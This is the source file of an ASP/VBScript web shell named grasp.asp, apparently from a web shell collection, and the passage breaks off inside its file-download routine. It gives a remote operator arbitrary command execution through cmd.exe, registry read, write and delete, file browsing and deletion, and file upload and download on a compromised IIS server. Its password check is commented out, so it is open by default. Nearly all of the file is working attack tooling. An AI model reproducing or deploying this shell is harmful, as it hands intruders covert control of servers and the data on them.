webshell/asp/grasp.asp

1156 lines
42 KiB
Text
Raw Normal View History

<%@ Language = VBScript
CodePage = 1252 %>
<%
Option Explicit
'/* --- Options --- */
Server.ScriptTimeout = 360 ' Seconds
Session.Timeout = 5 ' Minutes
Response.Expires = -1 ' Minutes (expires immediately)
Private sMD5Hash ' MD5("HitU")
''sMD5Hash = "F74648612C416B4CE4B9B36C10B10A11" ' Leave it empty to turn off password protection
'Session.Abandon ' Terminates last session, prevents hangups
'On Error Resume Next ' Proceed to the next line on error
' Global variables:
Private WShell, WNetwork, WEnv, FSO, BinStream
Private sURL, sCmd, bBgMode, bSI, sKey, sKeyFunc, sKeyValue, sKeyType
Private sDir, sDel, sDL, sPasswd
' Create COM objects:
Set WShell = Server.CreateObject("WSCRIPT.SHELL")
Set WNetwork = Server.CreateObject("WSCRIPT.NETWORK")
Set WEnv = WShell.Environment("Process")
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
' Process script args:
sURL = Request.ServerVariables("URL") ' Script relative addr.
sCmd = Request("CMD") ' Shell: command
bBgMode = Request("CMD_M") ' Shell: mode
bSI = Request("SI") ' Server info
sKey = Request("RKEY") ' Reg editor: key
sKeyFunc = Request("RKEY_F") ' Reg editor: function
sKeyValue = Request("RKEY_V") ' Reg editor: value
sKeyType = Request("RKEY_T") ' Reg editor: type
sDir = Request("DIR") ' Directory listing: path
sDel = Request("DEL") ' Directory listing: delete item
sDL = Request("DL") ' Download: file path
sPasswd = Request("PWD") ' Password: clear text
' Set default mode:
If ( IsEmpty(sCmd) And _
IsEmpty(bSI) And _
IsEmpty(sKey) And _
IsEmpty(sDir) ) Then
sDir = ""
End If
'/* --- Routines --- */
' Executes command and passes stdout to browser.
' Can start the process in background mode.
Private Sub ExecuteCmd(ByVal sCommand, ByVal bBg)
Dim Pipe, RetCode
On Error Resume Next
If ( bBg <> "" ) Then
RetCode = WShell.Run("%comspec% /c " & sCommand & " 2>&1", 0, False)
Response.Write("Returned: " & RetCode)
Else
Set Pipe = WShell.Exec("%comspec% /c " & sCommand & " 2>&1")
While( Not Pipe.StdOut.AtEndOfStream )
Response.Write(Server.HTMLEncode(Pipe.StdOut.ReadAll()))
WEnd
Response.Write("Returned: " & Pipe.ExitCode)
End If
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]")
Err.Clear
End If
Set Pipe = nothing
Set RetCode = nothing
End Sub
' Returns first word from the string. Used in shell page title.
Private Function GetFirstWord(ByVal sStr)
Dim Word
If ( Len(sStr) <> 0 ) Then
Word = Split(sStr)
GetFirstWord = Word(0)
Else
GetFirstWord = "[ Shell ]"
End if
Set Word = nothing
End Function
' Changes empty string to nbsp. Useful while building HTML tables.
Private Function EmptyToNbsp(ByVal sStr)
If ( sStr = "" ) Then
sStr = "&nbsp;"
End If
EmptyToNbsp = sStr
End Function
' Converts unicode string to byte string.
Private Function CStrB(ByRef sUnicodeStr)
Dim nPos
For nPos = 1 To Len(sUnicodeStr)
CStrB = CStrB & ChrB( AscB( Mid(sUnicodeStr, nPos, 1)))
Next
End Function
' Converts byte string to unicode string.
Private Function CStrU(ByRef sByteStr)
Dim nPos
For nPos = 1 To LenB(sByteStr)
CStrU = CStrU & Chr( AscB( MidB(sByteStr, nPos, 1)))
Next
End Function
' Returns string, containing HTML table with drives info.
Private Function ShowDrivesInfo()
On Error Resume Next
Dim Drive, Share, Str
' Table header:
Str = "<table border='1' cellspacing='0' cellpadding='2' width='600'>" & _
"<tr align='center'><th colspan='9'>Drives Info</th></tr>" & _
"<tr align='center'><th>Drive</th><th>Type</th><th>Label</th>" & _
"<th>Filesystem</th><th>Size[Mb]</th><th>Avail[Mb]</th><th>Free[Mb]</th>" & _
"<th>Shared</th><th>Ready</th></tr>"
' Enumerate drives:
For Each Drive in FSO.Drives
Str = Str & "<tr align='center' class='drv'><td>" & Drive.DriveLetter & "</td>"
Select Case Drive.DriveType
Case 0: Str = Str & "<td>Unknown</td>"
Case 1: Str = Str & "<td>Removable</td>"
Case 2: Str = Str & "<td>Fixed</td>"
Case 3: Str = Str & "<td>Network</td>"
Case 4: Str = Str & "<td>CD-ROM</td>"
Case 5: Str = Str & "<td>RAM Disk</td>"
End Select
' Prevents from 500 - "drive not ready" error:
If Drive.IsReady Then
Str = Str & "<td>" & EmptyToNbsp(Drive.VolumeName) & "</td>"
Str = Str & "<td>" & Drive.FileSystem & "</td>"
Str = Str & "<td>" & FormatNumber(Drive.TotalSize / 1048576, 0) & "</td>"
Str = Str & "<td>" & FormatNumber(Drive.AvailableSpace / 1048576, 0) & "</td>"
Str = Str & "<td>" & FormatNumber(Drive.FreeSpace / 1048576, 0) & "</td>"
Else
Str = Str & "<td>-</td><td>-</td><td>-</td><td>-</td><td>-</td>"
End If
If (Drive.ShareName = "") Then
Str = Str & "<td>-</td>"
Else
Str = Str & "<td>" & Drive.ShareName & "</td>"
End If
Str = Str & "<td>" & Drive.IsReady & "</td></tr>"
Next
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write( "Error: '" & Err.Description & "' at " & Err.Source & " [" & Err.Number & "]" )
Err.Clear
End If
ShowDrivesInfo = Str & "</table>"
Set Drive = nothing
Set Share = nothing
Set Str = nothing
End Function
' Provides interface for registry read/write/delete functions.
Private Function RegEditor(ByVal sKey, ByVal sKeyValue, ByVal sKeyType, ByVal sKeyFunc)
On Error Resume Next
Select Case sKeyFunc
Case "Read" Response.Write(WShell.RegRead(sKey))
Case "Write"
If ( sKeyType = "REG_SZ" or _
sKeyType = "REG_DWORD" or _
sKeyType = "REG_BINARY" or _
sKeyType = "REG_EXPAND_SZ" ) Then
If ( Not IsEmpty(sKeyValue) ) Then
Response.Write(WShell.RegWrite(sKey, sKeyValue, sKeyType))
Else
Response.Write("Key value is not defined.")
End If
Else
Response.Write("Improper key type.")
End If
Case "Delete" Response.Write(WShell.RegDelete(sKey))
Case Else Response.Write("Improper function value.")
End Select
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write( "Error: '" & Err.Description & "' at " & Err.Source & " [" & Err.Number & "]" )
Err.Clear
Else
Response.Write("Successfully performed the operation.")
End If
End Function
' Returns directory path without trailing slash.
Private Function GetCorrectPath(ByVal sDir)
Dim sDirPath
' Starting folder:
If ( sDir = "" ) Then
sDir = Server.MapPath(".")
End If
' Get correct folder path:
If ( FSO.FolderExists(sDir) ) Then
sDirPath = FSO.GetFolder(sDir).Path
Else
sDirPath = sDir
End If
GetCorrectPath = sDirPath
Set sDirPath = nothing
End Function
' Returns string with HTML table.
Private Function ShowDirectoryList(ByVal sDir)
On Error Resume Next
Dim sDirPath, Str, Folder, Item, Attr
sDirPath = GetCorrectPath(sDir)
Set Folder = FSO.GetFolder(sDirPath)
' Path input field:
Str = "<center><form name='path' action='" & sURL & "' method='POST'>" & _
"<input name='DIR' type='text' style='width:80%;' value='" & sDirPath & "'>" & _
"&nbsp;<input type='submit' class='button' value='Go'></form><br>"
' Check the path:
If ( Not FSO.FolderExists(sDirPath) ) Then
ShowDirectoryList = Str & "Folder <b>" & sDirPath & "</b> doesn't exist.<br>"
Exit Function
End If
' Table header:
Str = Str & "Contents of <b>" & sDirPath & "</b><br><br>" & _
"<form name='items' action='" & sURL & "' method='POST'>" & _
"<input name='DIR' type='hidden' value='" & sDirPath & "'>" & _
"<input name='DEL' type='hidden' value=''>" & _
"<table border='1' cellpadding='0' cellspacing='0' width='90%'>" & _
"<tr><th>&nbsp;</th><th>Name</th><th>Size[b]</th>" & _
"<th>Date Created</th><th>Attributes</th><th>Type</th></tr>"
' Parent directory:
If ( Not Folder.IsRootFolder ) Then
Str = Str & "<tr onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
" onMouseOut='this.style.backgroundColor=""""' class='dir'>" & _
"<td>&nbsp;</td>" & _
"<td class='dir' onclick='go("".."");'>&lt;..&gt;</td>" & _
"<td>&nbsp;</td>" & _
"<td>&nbsp;</td>" & _
"<td>&nbsp;</td>" & _
"<td>Parent Folder</td></tr>" & vbCRLF
End If
' Directories:
For Each Item In Folder.SubFolders
If ( Item.Attributes And 1 ) Then
Attr = "R(" & Item.Attributes & ")"
Else
Attr = "RW(" & Item.Attributes & ")"
End If
Str = Str & "<tr onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
" onMouseOut='this.style.backgroundColor=""""' class='dir'>" & _
"<td><input type='button' class='button' style='width:28;'" & _
" value='Del' onclick='del(""" & Item.Name & "\\"");'></td>" & _
"<td class='dir' onclick='go(""" & Item.Name & """);'>" & _
"&lt;" & Item.Name & "&gt;</td>" & _
"<td>" & FormatNumber(Item.Size, 0) & "</td>" & _
"<td>" & Item.DateCreated & "</td>" & _
"<td>" & Attr & "</td>" & _
"<td>" & Item.Type & "</td></tr>" & vbCRLF
Next
' Files:
For Each Item In Folder.Files
' Add cacls?
If ( Item.Attributes And 1 ) Then
Attr = "R(" & Item.Attributes & ")"
Else
Attr = "RW(" & Item.Attributes & ")"
End If
Str = Str & "<tr onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
" onMouseOut='this.style.backgroundColor=""""' class='file'>" & _
"<td><input type='button' class='button' style='width:28;'" & _
" value='Del' onclick='del(""" & Item.Name & """);'></td>" & _
"<td class='file' onclick='dl(""" & Item.Name & """);'>" & _
Item.Name & "</td>" & _
"<td>" & FormatNumber(Item.Size, 0) & "</td>" & _
"<td>" & Item.DateCreated & "</td>" & _
"<td>" & Attr & "</td>" & _
"<td>" & Item.Type & "</td></tr>" & vbCRLF
Next
Str = Str & "</table></form><br><br>"
' Download form:
Str = Str & "<form name='download' action='" & sURL & "' method='POST'>" & _
"<input name='DL' type='hidden' value='" & sDirPath & "'></form>" & _
"<form name='upload' enctype='multipart/form-data' action='" & sURL & "' method='POST'>" & _
"<input name='UL' type='hidden' value='" & sDirPath & "'>" & _
"<input name='FILE' type='file' style='width:80%;'>&nbsp;" & _
"<input type='submit' class='button' value='Upload'></form><br><br></center>"
' Error handling:
If ( Err.Number <> 0 ) Then
Str = Str & "<center>Error: '" & Err.Description & "' [" & Err.Number & "]</center><br><br>"
Err.Clear
End If
ShowDirectoryList = Str
Set sDirPath = nothing
Set Str = nothing
Set Folder = nothing
Set Item = nothing
Set Attr = nothing
End Function
' Upload FSO buffering.
Private Function BufferContent(ByRef Data)
Dim sContent(64), i
ClearString(sContent)
For i = 1 To LenB(Data)
AddString sContent, Chr(AscB (MidB (Data, i, 1)))
Next
BufferContent = ReadString(sContent)
End Function
Private Sub ClearString(ByRef sPart)
Dim nIdx
For nIdx = 0 to 64
sPart(nIdx) = ""
Next
End Sub
Private Sub AddString(ByRef sPart, ByRef Str)
Dim Tmp, nIdx
sPart(0) = sPart(0) & Str
If ( Len(sPart(0)) > 64 ) Then
nIdx = 0
Tmp = ""
Do
Tmp = sPart(nIdx) & Tmp
sPart(nIdx) = ""
nIdx = nIdx + 1
Loop Until sPart(nIdx) = ""
sPart(nIdx) = Tmp
End If
End Sub
Private Function ReadString(ByRef sPart)
Dim Tmp, nIdx
Tmp = ""
For nIdx = 0 to 64
If ( sPart(nIdx) <> "" ) Then
Tmp = sPart(nIdx) & Tmp
End If
Next
ReadString = Tmp
End Function
' Saves uploaded file.
Private Sub UploadFile()
Dim BinData, nObjStartPos, nObjEndPos, nStartPos, nEndPos, sBoundary
Dim sFileName, sSavePath, nFileLen, BinFile, PostBinStream
On Error Resume Next
Err.Clear
BinData = Request.BinaryRead(Request.TotalBytes)
' Get the boundary:
nStartPos = 1
nEndPos = InStrB(nStartPos, BinData, CStrB(vbCR))
If ( nEndPos > nStartPos ) Then
sBoundary = MidB(BinData, nStartPos, nEndPos - nStartPos)
Else
Response.Write("Error: Boundary is not defined.")
StopScript
End If
' Get the upload directory("UL"):
nObjStartPos = InStrB(1, BinData, sBoundary)
nObjEndPos = InStrB(nObjStartPos + 1, BinData, sBoundary)
nStartPos = InStrB(nObjStartPos, BinData, CStrB("name=""UL"""))
If ( nStartPos > nObjStartPos And nStartPos < nObjEndPos ) Then
nEndPos = InStrB(nStartPos + 13, BinData, CStrB(vbCR))
' nStartPos + 13 -> name="UL"+ 0x0D + 0x0A + 0x0D + 0x0A
sDir = CStrU(MidB(BinData, nStartPos + 13, nEndPos - nStartPos - 13))
Else
Response.Write("Error: Upload directory(""UL"") is not defined.")
StopScript
End If
' Get file's binary data:
nObjStartPos = nObjEndPos
nObjEndPos = InStrB(nObjStartPos + 1, BinData, sBoundary & CStrB("--"))
nStartPos = InStrB(nObjStartPos + 1, BinData, CStrB("name=""FILE"""))
If ( nStartPos > 0 And nObjEndPos > nObjStartPos ) Then
' Get the filename:
nStartPos = InStrB(nStartPos, BinData, CStrB("filename="""))
nEndPos = InStrB(nStartPos + 10, BinData, CStrB(""""))
If ( nStartPos + 10 = nEndPos Or nStartPos = 0 ) Then
Response.Write("Uploaded: 0 bytes [Empty filename] ")
Exit Sub
End If
sFileName = CStrU(MidB(BinData, nStartPos + 10, nEndPos - nStartPos - 10))
' Change all '/' to '\':
sFileName = Replace(sFileName, "/", "\")
sFileName = Right(sFileName, Len(sFileName) - InStrRev(sFileName, "\"))
sFileName = Trim(sFileName)
' Skip Content-Type:
nStartPos = InStrB(nEndPos, BinData, CStrB("Content-Type:"))
nEndPos = InStrB(nStartPos + 13, BinData, CStrB(vbCR))
If ( nStartPos = 0 or nEndPos = 0 ) Then
Response.Write("Error: Content-Type is not defined.")
StopScript
End If
' Skip CRLFs and set pointers to file's binary data:
nStartPos = nEndPos + 3
nEndPos = nObjEndPos - 3
nFileLen = nEndPos - nStartPos
BinFile = MidB(BinData, nStartPos + 1, nFileLen)
sSavePath = FSO.BuildPath(sDir, sFileName)
' Save binary data into the destination file:
SetLocale(1033)
Err.Clear
Set PostBinStream = Server.CreateObject("ADODB.Stream")
Set BinStream = Server.CreateObject("ADODB.Stream")
If ( Err.Number = 0 ) Then
PostBinStream.Type = 1 ' adTypeBinary
PostBinStream.Open()
PostBinStream.Write(BinData)
PostBinStream.Position = nStartPos
BinStream.Type = 1
BinStream.Open()
PostBinStream.CopyTo BinStream, nFileLen
' Overwrites file:
BinStream.SaveToFile sSavePath, 2
BinStream.Close()
PostBinStream.Close()
Else
Err.Clear
' Use FSO (only text data), if ADO.Stream is not there:
Set BinStream = FSO.CreateTextFile(sSavePath, True)
BinStream.Write(BufferContent(BinFile))
BinStream.Close()
End If
Response.Write("Uploaded: " & FormatNumber(nFileLen, 0) & " bytes [""" & sSavePath & """] ")
Else
Response.Write("Error: File's binary data parse error.")
StopScript
End If
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]")
Err.Clear
End If
' Free mallocs ;)
Set BinData = nothing : Set nObjStartPos = nothing
Set nObjEndPos = nothing : Set nStartPos = nothing
Set nEndPos = nothing : Set sBoundary = nothing
Set sFileName = nothing : Set sSavePath = nothing
Set nFileLen = nothing : Set BinFile = nothing
Set PostBinStream = nothing
End Sub
' Generates script navigation HTML string.
Private Function InsertNavBar()
Dim Str
Str = "<center><form name='nav' action='" & sURL & "' method='POST'>" & _
"<input name='change' type='hidden' value=''></form>&lt;&nbsp;" & _
"<span class='link' onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
" onMouseOut='this.style.backgroundColor=""""'" & _
" onclick='document.nav.change.name=""DIR"";document.nav.submit()'>" & _
"Directory Listing</span>&nbsp;|&nbsp;" & _
"<span class='link' onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
" onMouseOut='this.style.backgroundColor=""""'" & _
" onclick='document.nav.change.name=""CMD"";document.nav.submit()'>" & _
"Shell</span>&nbsp;|&nbsp;" & _
"<span class='link' onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
" onMouseOut='this.style.backgroundColor=""""'" & _
" onclick='document.nav.change.name=""RKEY"";document.nav.submit()'>" & _
"Registry Editor</span>&nbsp;|&nbsp;" & _
"<span class='link' onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
" onMouseOut='this.style.backgroundColor=""""'" & _
" onclick='document.nav.change.name=""SI"";document.nav.submit()'>" & _
"Server Info</span>&nbsp;&gt;</center><br><br>"
InsertNavBar = Str
Set Str = nothing
End Function
' Generates auth. page and checks for proper password.
Private Function CheckAuth(ByVal sPasswd)
Dim Str
If ( sMD5Hash = "" ) Then
Exit Function
End If
' Save the hash in a session variable:
If ( Not IsEmpty(sPasswd) ) Then
Session("Auth") = MD5(sPasswd)
End If
' Check the password:
If ( IsEmpty(Session("Auth")) ) Then
Str = "<html><head><title>Authentication</title></head><body><center>" & _
"Enter the password: <form name='download' action='" & sURL & "' method='POST'>" & _
"<input name='PWD' type='text' style='width:80%;' value=''>&nbsp;" & _
"<input type='submit' value='Submit'></form></body></html>"
Response.Write(Str)
Session.Abandon
StopScript
Else
If ( UCase(Session("Auth")) <> UCase(sMD5Hash) ) Then
Response.Write("Bad password or session has timed out.")
Session.Abandon
StopScript
End If
End If
End Function
' MD5 Routines.
' Ripped from frez.co.uk
Private Const BITS_TO_A_BYTE = 8
Private Const BYTES_TO_A_WORD = 4
Private Const BITS_TO_A_WORD = 32
Private m_lOnBits(30)
Private m_l2Power(30)
m_lOnBits(0) = CLng(1)
m_lOnBits(1) = CLng(3)
m_lOnBits(2) = CLng(7)
m_lOnBits(3) = CLng(15)
m_lOnBits(4) = CLng(31)
m_lOnBits(5) = CLng(63)
m_lOnBits(6) = CLng(127)
m_lOnBits(7) = CLng(255)
m_lOnBits(8) = CLng(511)
m_lOnBits(9) = CLng(1023)
m_lOnBits(10) = CLng(2047)
m_lOnBits(11) = CLng(4095)
m_lOnBits(12) = CLng(8191)
m_lOnBits(13) = CLng(16383)
m_lOnBits(14) = CLng(32767)
m_lOnBits(15) = CLng(65535)
m_lOnBits(16) = CLng(131071)
m_lOnBits(17) = CLng(262143)
m_lOnBits(18) = CLng(524287)
m_lOnBits(19) = CLng(1048575)
m_lOnBits(20) = CLng(2097151)
m_lOnBits(21) = CLng(4194303)
m_lOnBits(22) = CLng(8388607)
m_lOnBits(23) = CLng(16777215)
m_lOnBits(24) = CLng(33554431)
m_lOnBits(25) = CLng(67108863)
m_lOnBits(26) = CLng(134217727)
m_lOnBits(27) = CLng(268435455)
m_lOnBits(28) = CLng(536870911)
m_lOnBits(29) = CLng(1073741823)
m_lOnBits(30) = CLng(2147483647)
m_l2Power(0) = CLng(1)
m_l2Power(1) = CLng(2)
m_l2Power(2) = CLng(4)
m_l2Power(3) = CLng(8)
m_l2Power(4) = CLng(16)
m_l2Power(5) = CLng(32)
m_l2Power(6) = CLng(64)
m_l2Power(7) = CLng(128)
m_l2Power(8) = CLng(256)
m_l2Power(9) = CLng(512)
m_l2Power(10) = CLng(1024)
m_l2Power(11) = CLng(2048)
m_l2Power(12) = CLng(4096)
m_l2Power(13) = CLng(8192)
m_l2Power(14) = CLng(16384)
m_l2Power(15) = CLng(32768)
m_l2Power(16) = CLng(65536)
m_l2Power(17) = CLng(131072)
m_l2Power(18) = CLng(262144)
m_l2Power(19) = CLng(524288)
m_l2Power(20) = CLng(1048576)
m_l2Power(21) = CLng(2097152)
m_l2Power(22) = CLng(4194304)
m_l2Power(23) = CLng(8388608)
m_l2Power(24) = CLng(16777216)
m_l2Power(25) = CLng(33554432)
m_l2Power(26) = CLng(67108864)
m_l2Power(27) = CLng(134217728)
m_l2Power(28) = CLng(268435456)
m_l2Power(29) = CLng(536870912)
m_l2Power(30) = CLng(1073741824)
Private Function LShift(ByVal lValue, ByVal iShiftBits)
If ( iShiftBits = 0 ) Then
LShift = lValue
Exit Function
ElseIf ( iShiftBits = 31 ) Then
If lValue And 1 Then
LShift = &H80000000
Else
LShift = 0
End If
Exit Function
ElseIf ( iShiftBits < 0 Or iShiftBits > 31 ) Then
Err.Raise(6)
End If
If ( lValue And m_l2Power(31 - iShiftBits) ) Then
LShift = ((lValue And m_lOnBits(31 - (iShiftBits + 1))) * m_l2Power(iShiftBits)) Or &H80000000
Else
LShift = ((lValue And m_lOnBits(31 - iShiftBits)) * m_l2Power(iShiftBits))
End If
End Function
Private Function RShift(lValue, iShiftBits)
If ( iShiftBits = 0 ) Then
RShift = lValue
Exit Function
ElseIf ( iShiftBits = 31 ) Then
If ( lValue And &H80000000 ) Then
RShift = 1
Else
RShift = 0
End If
Exit Function
ElseIf ( iShiftBits < 0 Or iShiftBits > 31 ) Then
Err.Raise(6)
End If
RShift = (lValue And &H7FFFFFFE) \ m_l2Power(iShiftBits)
If ( lValue And &H80000000 ) Then
RShift = (RShift Or (&H40000000 \ m_l2Power(iShiftBits - 1)))
End If
End Function
Private Function RotateLeft(lValue, iShiftBits)
RotateLeft = LShift(lValue, iShiftBits) Or RShift(lValue, (32 - iShiftBits))
End Function
Private Function AddUnsigned(lX, lY)
Dim lX4, lY4, lX8, lY8, lResult
lX8 = lX And &H80000000
lY8 = lY And &H80000000
lX4 = lX And &H40000000
lY4 = lY And &H40000000
lResult = (lX And &H3FFFFFFF) + (lY And &H3FFFFFFF)
If ( lX4 And lY4 ) Then
lResult = lResult Xor &H80000000 Xor lX8 Xor lY8
ElseIf ( lX4 Or lY4 ) Then
If ( lResult And &H40000000 ) Then
lResult = lResult Xor &HC0000000 Xor lX8 Xor lY8
Else
lResult = lResult Xor &H40000000 Xor lX8 Xor lY8
End If
Else
lResult = lResult Xor lX8 Xor lY8
End If
AddUnsigned = lResult
End Function
Private Function F(x, y, z)
F = (x And y) Or ((Not x) And z)
End Function
Private Function G(x, y, z)
G = (x And z) Or (y And (Not z))
End Function
Private Function H(x, y, z)
H = (x Xor y Xor z)
End Function
Private Function I(x, y, z)
I = (y Xor (x Or (Not z)))
End Function
Private Sub FF(a, b, c, d, x, s, ac)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac))
a = RotateLeft(a, s)
a = AddUnsigned(a, b)
End Sub
Private Sub GG(a, b, c, d, x, s, ac)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac))
a = RotateLeft(a, s)
a = AddUnsigned(a, b)
End Sub
Private Sub HH(a, b, c, d, x, s, ac)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac))
a = RotateLeft(a, s)
a = AddUnsigned(a, b)
End Sub
Private Sub II(a, b, c, d, x, s, ac)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac))
a = RotateLeft(a, s)
a = AddUnsigned(a, b)
End Sub
Private Function ConvertToWordArray(sMessage)
Dim lMessageLength, lNumberOfWords, lWordArray(), lBytePosition, lByteCount, lWordCount
Const MODULUS_BITS = 512
Const CONGRUENT_BITS = 448
lMessageLength = Len(sMessage)
lNumberOfWords = (((lMessageLength + ((MODULUS_BITS - CONGRUENT_BITS) \ BITS_TO_A_BYTE)) \ (MODULUS_BITS \ BITS_TO_A_BYTE)) + 1) * (MODULUS_BITS \ BITS_TO_A_WORD)
ReDim lWordArray(lNumberOfWords - 1)
lBytePosition = 0
lByteCount = 0
Do Until lByteCount >= lMessageLength
lWordCount = lByteCount \ BYTES_TO_A_WORD
lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE
lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(Asc(Mid(sMessage, lByteCount + 1, 1)), lBytePosition)
lByteCount = lByteCount + 1
Loop
lWordCount = lByteCount \ BYTES_TO_A_WORD
lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE
lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(&H80, lBytePosition)
lWordArray(lNumberOfWords - 2) = LShift(lMessageLength, 3)
lWordArray(lNumberOfWords - 1) = RShift(lMessageLength, 29)
ConvertToWordArray = lWordArray
End Function
Private Function WordToHex(lValue)
Dim lByte, lCount
For lCount = 0 To 3
lByte = RShift(lValue, lCount * BITS_TO_A_BYTE) And m_lOnBits(BITS_TO_A_BYTE - 1)
WordToHex = WordToHex & Right("0" & Hex(lByte), 2)
Next
End Function
Private Function MD5(sMessage)
Dim x, k, AA, BB, CC, DD, a, b, c, d
Const S11 = 7
Const S12 = 12
Const S13 = 17
Const S14 = 22
Const S21 = 5
Const S22 = 9
Const S23 = 14
Const S24 = 20
Const S31 = 4
Const S32 = 11
Const S33 = 16
Const S34 = 23
Const S41 = 6
Const S42 = 10
Const S43 = 15
Const S44 = 21
x = ConvertToWordArray(sMessage)
a = &H67452301
b = &HEFCDAB89
c = &H98BADCFE
d = &H10325476
For k = 0 To UBound(x) Step 16
AA = a
BB = b
CC = c
DD = d
FF a, b, c, d, x(k + 0), S11, &HD76AA478
FF d, a, b, c, x(k + 1), S12, &HE8C7B756
FF c, d, a, b, x(k + 2), S13, &H242070DB
FF b, c, d, a, x(k + 3), S14, &HC1BDCEEE
FF a, b, c, d, x(k + 4), S11, &HF57C0FAF
FF d, a, b, c, x(k + 5), S12, &H4787C62A
FF c, d, a, b, x(k + 6), S13, &HA8304613
FF b, c, d, a, x(k + 7), S14, &HFD469501
FF a, b, c, d, x(k + 8), S11, &H698098D8
FF d, a, b, c, x(k + 9), S12, &H8B44F7AF
FF c, d, a, b, x(k + 10), S13, &HFFFF5BB1
FF b, c, d, a, x(k + 11), S14, &H895CD7BE
FF a, b, c, d, x(k + 12), S11, &H6B901122
FF d, a, b, c, x(k + 13), S12, &HFD987193
FF c, d, a, b, x(k + 14), S13, &HA679438E
FF b, c, d, a, x(k + 15), S14, &H49B40821
GG a, b, c, d, x(k + 1), S21, &HF61E2562
GG d, a, b, c, x(k + 6), S22, &HC040B340
GG c, d, a, b, x(k + 11), S23, &H265E5A51
GG b, c, d, a, x(k + 0), S24, &HE9B6C7AA
GG a, b, c, d, x(k + 5), S21, &HD62F105D
GG d, a, b, c, x(k + 10), S22, &H2441453
GG c, d, a, b, x(k + 15), S23, &HD8A1E681
GG b, c, d, a, x(k + 4), S24, &HE7D3FBC8
GG a, b, c, d, x(k + 9), S21, &H21E1CDE6
GG d, a, b, c, x(k + 14), S22, &HC33707D6
GG c, d, a, b, x(k + 3), S23, &HF4D50D87
GG b, c, d, a, x(k + 8), S24, &H455A14ED
GG a, b, c, d, x(k + 13), S21, &HA9E3E905
GG d, a, b, c, x(k + 2), S22, &HFCEFA3F8
GG c, d, a, b, x(k + 7), S23, &H676F02D9
GG b, c, d, a, x(k + 12), S24, &H8D2A4C8A
HH a, b, c, d, x(k + 5), S31, &HFFFA3942
HH d, a, b, c, x(k + 8), S32, &H8771F681
HH c, d, a, b, x(k + 11), S33, &H6D9D6122
HH b, c, d, a, x(k + 14), S34, &HFDE5380C
HH a, b, c, d, x(k + 1), S31, &HA4BEEA44
HH d, a, b, c, x(k + 4), S32, &H4BDECFA9
HH c, d, a, b, x(k + 7), S33, &HF6BB4B60
HH b, c, d, a, x(k + 10), S34, &HBEBFBC70
HH a, b, c, d, x(k + 13), S31, &H289B7EC6
HH d, a, b, c, x(k + 0), S32, &HEAA127FA
HH c, d, a, b, x(k + 3), S33, &HD4EF3085
HH b, c, d, a, x(k + 6), S34, &H4881D05
HH a, b, c, d, x(k + 9), S31, &HD9D4D039
HH d, a, b, c, x(k + 12), S32, &HE6DB99E5
HH c, d, a, b, x(k + 15), S33, &H1FA27CF8
HH b, c, d, a, x(k + 2), S34, &HC4AC5665
II a, b, c, d, x(k + 0), S41, &HF4292244
II d, a, b, c, x(k + 7), S42, &H432AFF97
II c, d, a, b, x(k + 14), S43, &HAB9423A7
II b, c, d, a, x(k + 5), S44, &HFC93A039
II a, b, c, d, x(k + 12), S41, &H655B59C3
II d, a, b, c, x(k + 3), S42, &H8F0CCC92
II c, d, a, b, x(k + 10), S43, &HFFEFF47D
II b, c, d, a, x(k + 1), S44, &H85845DD1
II a, b, c, d, x(k + 8), S41, &H6FA87E4F
II d, a, b, c, x(k + 15), S42, &HFE2CE6E0
II c, d, a, b, x(k + 6), S43, &HA3014314
II b, c, d, a, x(k + 13), S44, &H4E0811A1
II a, b, c, d, x(k + 4), S41, &HF7537E82
II d, a, b, c, x(k + 11), S42, &HBD3AF235
II c, d, a, b, x(k + 2), S43, &H2AD7D2BB
II b, c, d, a, x(k + 9), S44, &HEB86D391
a = AddUnsigned(a, AA)
b = AddUnsigned(b, BB)
c = AddUnsigned(c, CC)
d = AddUnsigned(d, DD)
Next
MD5 = WordToHex(a) & WordToHex(b) & WordToHex(c) & WordToHex(d)
End Function
' Destroys all objects and finishes the work.
Private Sub StopScript()
Set sMD5Hash = nothing
Set WShell = nothing
Set WNetwork = nothing
Set WEnv = nothing
Set FSO = nothing
Set BinStream = nothing
Set sURL = nothing
Set sCmd = nothing
Set bBgMode = nothing
Set bSI = nothing
Set sKey = nothing
Set sKeyFunc = nothing
Set sKeyValue = nothing
Set sKeyType = nothing
Set sDir = nothing
Set sDel = nothing
Set sDL = nothing
Set sPasswd = nothing
Response.End
End Sub
' Password protection:
CheckAuth(sPasswd)
' Process multipart form-data:
If( InStr(1, CStr(Request.ServerVariables("CONTENT_TYPE")), "multipart/form-data;", 1) > 0 ) Then
If Request.TotalBytes > 0 Then
UploadFile()
End If
End If
%><%
'/* --- File Download --- */
If ( Not IsEmpty(sDL) ) Then
On Error Resume Next
' Change locale to "en-us":
SetLocale(1033)
If ( FSO.FileExists(sDL) ) Then
Response.Buffer = True
Response.Clear
Call Response.AddHeader("Content-Disposition", "attachment; filename=""" & FSO.GetFileName(sDL) & """")
Call Response.AddHeader("Content-Length", FSO.GetFile(sDL).Size)
'Response.Charset = "UTF-8"
Response.ContentType = "application/binary"
' Try to create ADODB COM object:
Err.Clear
Set BinStream = Server.CreateObject("ADODB.Stream")
If ( Err.Number = 0 ) Then
